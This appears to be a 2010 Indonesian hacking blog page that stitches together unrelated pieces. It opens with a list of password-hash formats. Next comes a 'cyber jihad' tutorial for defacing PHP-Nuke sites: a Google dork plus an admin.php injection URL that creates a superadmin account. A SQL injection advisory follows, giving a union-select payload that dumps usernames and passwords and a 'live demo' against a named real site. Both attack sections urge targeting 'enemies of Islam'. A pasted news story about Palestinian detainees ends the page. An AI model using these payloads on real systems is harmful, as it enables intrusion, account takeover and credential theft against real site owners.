Selasa, 03 Agustus 2010

Jenis Password Dalam Bentuk Hash

Quote:vBulletin=md5(md5($pass).$salt)
contoh= 1cb536e0fc7c8c17e9239546f9ed6790:WQ

SMF=sha1($username.$pass)
contoh=julijana:07499df0132945916a0a0b6b7dc26138bd 1b95a5

MD5(phpBB3)
contoh=$H$9F9pitIXEIkGnWLSFIW/.jJAQ96TCC1

IPB=md5(md5($salt).md5($pass))
contoh=d764d51a989b33d9a1853ae2a767ee42:!@'jy

MD5(Wordpress)
contoh=$P$Bxube0m9gGaQADdPTdETfqmKR.oaew/

Joomla=md5($pass.$salt)
contoh=8d29a6d91789fdc0a814dd77063f5ee5:ISRhAzZnDs KcnTkLGlnnHnwK50vQkXFi

MySQL
contoh=3a9343450ec977c5

MySQL5
contoh=F46AD9861DDB7BC172C45FA221B441857FC5FEC

SHA-1
contoh=e6945eb8b86d28523f85721db3ebdf4497a76477

DES(Unix)
contoh=67yz/RmQcqz.A

MD5(Unix)
contoh=$1$gekbHH37$O3NCV/4CQjiYIg9/DDhMY1

MD5(APR)
contoh=$apr1$pA0.....$9HrQ.WWKBFUT4SYF.8HFf1

RAdmin v2.x
contoh=3d2c8cae4621edf8abb081408569482b

OLD DEFACE SITUS PHP NUKE


1.Buka situs www.google.com
2.Kemudian masukkan google dork kya gene
|=> allinurl:.com/nuke/index.php atau allinurl:.org/nuke/index.php

3.nah klw udh ktemu targetnya lanjut contoh : www.sakaw.com/nuke/index.php
4.yg berwarna merah gnti dengan admin.php
5.jika sudah masukkan bug berikut ne dibelakang situs td:

?op=AddAuthor&add_aid=sakaw32&add_name=
God&add_pwd=anjinkliar&add_email=
skw_swat@yahoo.com@yahoo.com&add_radminsuper=1&admin=
eCcgVU5JT04gU0VMRUNUIDEvKjox
misal : www.sakaw.com/nuke/admin.php?
op=AddAuthor&add_aid=sakaw32&add_name=
God&add_pwd=anjinkliar&add_email=
skw_swat@yahoo.com&add_radminsuper=1&admin=
eCcgVU5JT04gU0VMRUNUIDEvKjox
6.kemudian akan muncul www.sakaw.com/nuke/admin.php?op=mod_author pada adress bar
7. kemudian kalian akan di suruh login, masukin id & password kalian tadi.
Masih ingat kan ?
id=sakaw32 => liat yg diatas tadi
password=anjinkliar => liat yg diatas tadi
Nah lu skrg udah masuk ke “Administration Menu” situs tsb.
so, kalian dah masuk ke situs tersebut.. tp klw tdk bsa berarti tu situs dah di path ma adminnya…

SOURCE

Note : usahakanlah mencari situs milik musuh islam/negara2 kafir 'untuk setiap aksi pendeface'an'

- BRIGADE AL-BANTANI -
--CYBER JIHAD--

Blind SQL Injection Vulnerability

————————————————————————————————————————————————————-
Author : YaDoY666
Contact : YaDoY666[a]ServerIsDown[dot]Org
Group : ServerIsDown
————————————————————————————————————————————————————-

[-] Dork

[+] “catalog/details.asp?id=” or use your own keyword

[-] Exploit

[+] details.asp?id=[id]+union+select 1,2,3,4,5,6,username,8,9,10,11,12,13,password from user

[-] POC

http://127.0.0.1/catalog/details.asp?id=706+union+select 1,2,3,4,5,6,username,8,9,10,11,12,13,password from user

[-] Demo Live

http://www.honourfurniture.com.my/catalog/details.asp?id=771+union+select 1,2,3,4,5,6,username,8,9,10,11,12,13,password from user


Note : usahakanlah mencari situs milik musuh islam/negara2 kafir 'untuk setiap aksi pendeface'an'

- BRIGADE AL-BANTANI -
--CYBER JIHAD--

JENEWA - Sebuah organisasi internasional pembela hak-hak anak mengatakan pihaknya memiliki bukti bahwa anak-anak Palestina yang ditahan

Sebuah organisasi internasional pembela hak-hak anak mengatakan pihaknya memiliki bukti bahwa anak-anak Palestina yang ditahan Israel telah mengalami pelecehan seksual.

Lembaga Pembela Anak-Anak Internasional (DCI) yang berbasis di Jenewa telah mengumpulkan 100 anak-anak Palestina yang mengatakan bahwa mereka dianiaya oleh para penculiknya (tentara Zionis).

Empat belas dari laporan tersebut mengatakan mereka mengalami pelecehan seksual atau diancam dengan kekerasan seksual untuk membuat mereka tertekan dan mengakui hal yang tidak mereka lakukan.

Koresponden Al Jazeera di Tepi Barat, Nour Odeh, bertemu dengan salah satu anak-anak, hanya diidentifikasi sebagai "N", yang mengatakan ia harus menjadi korban pelecehan seksual di tangan interogator.

Pejabat DCI mengatakan bahwa ketika mereka mengeluh kepada militer Israel mengenai penanganan mereka terhadap anak-anak itu, namun mereka (Israel) mengabaikannya dan menganggap laporan DCI tidak benar sama sekali.

Dan saat ini DCI telah mengajukan bukti-bukti itu kepada Bagian Keluhan Khusus PBB mengenai Penyiksaan untuk menyeret Israel ke pengadilan dan meningkatkan tekanan terhadap Israel untuk menghentikan tindakan tidak manusiawi mereka.

Saat ini ada 340 anak-anak Palestina di penjara-penjara Israel, kebanyakan dihukum karena melemparkan batu.

Militer Israel, dalam tanggapan tertulisnya, menolak tuduhan DCI, dan mengatakan penahanan anak di bawah umur yang dijalankan Israel konsisten dengan hukum internasional.

"Dugaan tentang kekerasan dalam interogasi harus ditinjau kembali," kata militer.

Bana Shoughry-Badarne, kepala departemen hukum dalam Komite Publik Anti Penyiksaan di Israel, mengatakan ada masalah besar di Israel. Negara Zionis ini, menurut Bana memiliki kekebalan hukum berkaitan dengan keluhan terhadap layanan keamanan yang mereka jalankan.

"Laporan terbaru kami, dari 2009, menunjukkan bahwa dari 600 keluhan terhadap pengadilan Israel, semuanya ditolak," katanya kepada Al Jazeera dari Yerusalem.

"Tidak ada satu pun investigasi kriminal dilakukan."

(althaf/alj/arrahmah.com)